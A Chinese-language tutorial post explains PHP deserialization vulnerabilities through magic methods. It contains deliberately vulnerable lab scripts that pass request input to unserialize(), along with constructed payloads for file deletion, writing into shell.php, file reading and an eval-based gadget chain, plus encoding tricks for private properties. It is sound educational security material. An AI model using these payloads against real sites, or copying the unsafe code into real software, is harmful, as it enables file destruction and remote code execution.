这篇主要是学习介绍php反序列化漏洞基础。
一.PHP反序列化漏洞介绍
序列化和反序列化的目的:是使得程序间传输对象会更加方便。
序列化是将对象转换为字符串以便存储传输的一种方式。
反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。
在PHP中序列化和反序列化对应的函数分别 为serialize()和unserialize()。
反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用 户控制那将会是一件非常危险的事情。利用参数输入恶意的字符串值,造成漏洞。 不安全的反序列化造成的危害只有你想不到,没有他做不到。
所以说0day漏洞,基本一般半以上都是反序列化漏洞,像php,java,go等语言讲的都是面向对象,而你面向对象里面就包含了类,你只要有类,就可能存在反序列化漏洞。
像一般的反序列化漏洞,可能就用了几个类,可能能检测出来,但有些就是十多个,几十个类,根本想不到,同时反序列化这里,全是字符串,没有很明显的攻击特征。所以说像防火墙,态势感知,全流量设备等安全设备,检测0day基本不可能。就算检测到这个,也是因为跳板机去攻击其他终端,服务器的时候,攻击流量,才会抓到这玩意。
二.什么是反序列化漏洞?
web应用为了方便对象的传输,会将对象先通过serialize()函数进行转换为字符串,然后接收使用unserialize()函数将字符串转换为对象的过程中,由于传输的参数过滤不严格,恶意参数能够接触危险函数,导致服务器被攻击
三.条件
1.恶意函数参数可控
2.有反序列化函数serialize()
3.需要找到自动触发的析构或者魔术函数
四.魔术方法
(1)__destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销 毁时执行,当对象被销毁时会自动调用。
(2)__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用。
(3)__wakeup():进行unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法,可以进行初始化对象。
(4)__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时 就会调用。
(5)__sleep():当一个对象被序列化的时候被调用,可以设定需要保存的成员属性。
这些是比较常见的。
五.简单的通过PHP中的代码来讲解序列化和反序列化
这是一串基础的php代码
1.php
<?php
//定义了Stu这个类
class Stu
{
public $name='yy';
public $age=20;
public function add(){
echo 2;
}
}
//用new,给这个类声明,就是对象
$a=new Stu;
//打印$a这个对象
var_dump($a);
?>
这看起来很像一个数组,不过对象是比数组多一个东西,就是函数。其实对象也叫做超级数组。
介绍完这个之后,我想要让1.php的对象传到2.php去,不可能直接将上面那玩意传过去,数组都不是这么传的。数组都是先变成字符串在传送过去的,在将字符串转换为数组。这里对象也是这样,1.php先将对象变成字符串,再在2.php中由字符串变成对象,这里我们就用到序列化和反序列化的函数:serialize()和unserialize()。
修改一下1.php
<?php
//定义了Stu这个类
class Stu
{
public $name='yy';
public $age=20;
public function add(){
echo 2;
}
}
//用new,给这个类声明,就是对象
$a=new Stu;
//将$a对象转换成字符串
$str=serialize($a);
//打印出来
var_dump($a);
echo "<br/>";//换行
//打印出来
var_dump($str);
?>
{}外面的含义
O:object缩写。
3:我的对象名Stu,占三个字符。
“Stu”:对象名Stu
2:表示成员属性的个数,name,age就这两个。
{}里面的含义
第一
s:代表字符串name。
4:代表name占四个字符。
后面含义也是这样
2.php
<?php
class Stu
{
public $name;
public $age;
public function add(){
echo 2;
}
}
$str='O:3:"Stu":2:{s:4:"name";s:2:"yy";s:3:"age";i:20;}';//接收传过来的参数
$obj= unserialize($str);//反序列化操作
var_dump($obj);
?>
这样是解析了的,这里我并没有使用传参的函数,便于理解
三.反序列化漏洞的实现
1.__destruct(),任意文件删除漏洞
第一步认识这个代码过程
<?php
class LogFile
{
//日志文件名
public $filename = 'error.log';//可控的
//存储日志文件
function LogData($text)
{
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
$newstu = unserialize($_GET['stu']);
?>
解读:
定义LogFile这个类。
里面有一个属性filename,名字为error.log。
第一个函数LogData,参数为text,存储在error.log中。
第二个函数__destruct(),删除日志文件,当我们的对象销毁的时候,就要执行这个函数,当这个页面的代码执行完以后,就会使用这个__destruct()函数,销毁所以的变量参数,包括对象。
用newstu这个变量接收传过来的字符串,通过unserialize转换为对象。
//可以控制这个unlink函数。因为这个filename是成员属性,是可控的。
现在如果我传入的是LogFile这个对象的参数值,意味着,在执行完这些代码之后,由于文件名缘故可控,会执行__destruct()删除我们指定的文件。比如说我传入的filename参数为2.php,在这个页面行完之后,会执行这个析构函数__destruct(),会将2.php删除掉。那是不是,我可以删任何的文件,只要知道文件名。
第二步copy这个代码,构造payload
2.php
<?php
class LogFile
{
//日志文件名
public $filename = '3.txt';//我们想要删的文件名。
//存储日志文件
function LogData($text)
{
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
$a=new LogFile();//定义对象a
$str=serialize($a);//将对象a转换为字符串
var_dump($str);//输出字符串,用于后面输入参数过去。
?>
去访问一下这个页面
O:7:"LogFile":1:{s:8:"filename";s:5:"3.txt";}//payload
可以看到这个3.txt文件已经被删掉了
重新创建一个3.txt文件。
第三步:通过访问1.php进行删除
http://192.168.2.29/1.php?stu=O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%223.txt%22;}
2.__wakeup(),任意文件内容写入漏洞
第一步认识这个代码过程
<?php
class chybeta
{
public $test = '123';//写入的内容
function __wakeup()//攻击点
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);//向shell.php中写入内容
fclose($fp);
}
}
$class = @$_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
__wakeup函数的文件内容是可控的,自动触发条件是有unserialize。
这里可以写入一句话木马。
第二步copy,构造payload
<?php
class chybeta
{
public $test = '<?php phpinfo();?>';
function __wakeup()//攻击点
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$a=new chybeta();//定义对象a
$str=serialize($a);//将对象a转换为字符串
var_dump($str);//输出字符串,用于后面输入参数过去。
?>
O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
第三步:通过访问1.php进行输入参数
3.__toString()
第一步认识这个代码过程
<?php
//读取文件类
class FileRead
{
public $filename = 'error.log';
function __toString()
{
return file_get_contents($this->filename);//任意文件读取的函数,filename参数可控
}
}
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>
第二步copy,构造payload
<?php
//读取文件类
class FileRead
{
public $filename = 'shell.php';
function __toString()
{
return file_get_contents($this->filename);//任意文件读取的函数,filename参数可控
}
}
$a=new FileRead();//定义对象a
$str=serialize($a);//将对象a转换为字符串
var_dump($str);//输出字符串,用于后面输入参数过去。
?>
访问2.php,得到payload
O:8:"FileRead":1:{s:8:"filename";s:9:"error.log";}
第三步:通过访问1.php输入参数
没有解析,不过可以查看页面源代码,看到内容。
4. __construct和__wakeup联合使用
第一步认识这个代码过程
<?php
//这个类的test参数,不可控的,除非new ph0en1x(参数)。
class ph0en1x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}//这个类中test就可控,这个类中的wakeup函数,可以启动ph0en1x这个类,并且参数可以控制。
class chybeta{
public $test = '123';
function __wakeup(){
$obj = new ph0en1x($this->test);
}
}
$class = $_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);
?>
第二步copy,构造payload
<?php
class ph0en1x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class chybeta{
public $test = '<?php phpinfo();?>';
function __wakeup(){
$obj = new ph0en1x($this->test);
}
}
$a=new chybeta();//定义对象a
$str=serialize($a);//将对象a转换为字符串
var_dump($str);//输出字符串,用于后面输入参数过去。
?>
O:7:"chybeta":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
第三步:通过访问1.php输入参数
5. 利用普通成员方法
第一种
第一步认识这个代码过程
<?php
//调用ph0en2x这个类对象
class chybeta {
public $test;
function __construct() {
$this->test = new ph0en1x();
}//调用action
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
public $test2;
function action() {
eval($this->test2);
}
}
$class = new chybeta();
@unserialize($_GET['test']);
?>
首先可以看到这个危险函数,这里面,test2是参数。就算写入一句话木马,这个也无法调用执行,那只能找触发点(触发函数)。
class ph0en2x {
public $test2;
function action() {
eval($this->test2);
}
}
就找到了 触发函数,这个触发函数中test属性可控,并且ph0en1x()类也是可控的。
class chybeta {
public $test;
function __construct() {
$this->test = new ph0en1x();//这里可以理解成public $filename = 'error.log',可控的。
}
第二步copy,构造payload
<?php
class chybeta {
public $test;
function __construct() {
$this->test = new ph0en2x();//调用
}
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
public $test2='phpinfo();';//构造攻击代码,传入chybeta
function action() {
eval($this->test2);
}
}
$a=new chybeta();//定义对象a
$str=serialize($a);//将对象a转换为字符串
var_dump($str);//输出字符串,用于后面输入参数过去。
?>
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
第三步:通过访问1.php输入参数
第二种
第一步认识这个代码过程
<?php
class chybeta {
protected $test;
function __construct() {
$this->test = new ph0en1x();
}
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
private $test2;
function action() {
eval($this->test2);
}
}
$class = new chybeta();
@unserialize($_GET['test']);
?>
按照之前的步骤,发现不行
与第一种不同的特点就是protected 和private,由于这个两个的存在,你在制作payload并使用,是不能成功的,是因为浏览器对它特定的。
这里用抓包工具bp来观察,抓响应包
chybeta":1:{s:7:"*test";O:7:"ph0en2x":1:{s:14:"ph0en2xtest2";s:10:"phpinfo();";}}
看看它的16进制编码
*号两边是00,这里不是截断,而是一种保护格式。由于这个00存在,浏览器可能就会将这个00给丢掉,这样的话,这原本的含义就会实现,这就是为什么,没有成功。
所以为了不让它丢掉,让它url编码,为了更保险起见,先base64编码。
在代码中加入 $str=base64_encode($str);
再用bp的Decoder板块
在通过url编码去访问。
总结:此篇只是讲解php反序列化漏洞的一些基础,帮助各位理解序列化是什么,如何实现的,如果需要深入学习,就要有很好的代码基础才行,需要不断摸索,各位加油。
国家安全,人人有责,只用于学习参考。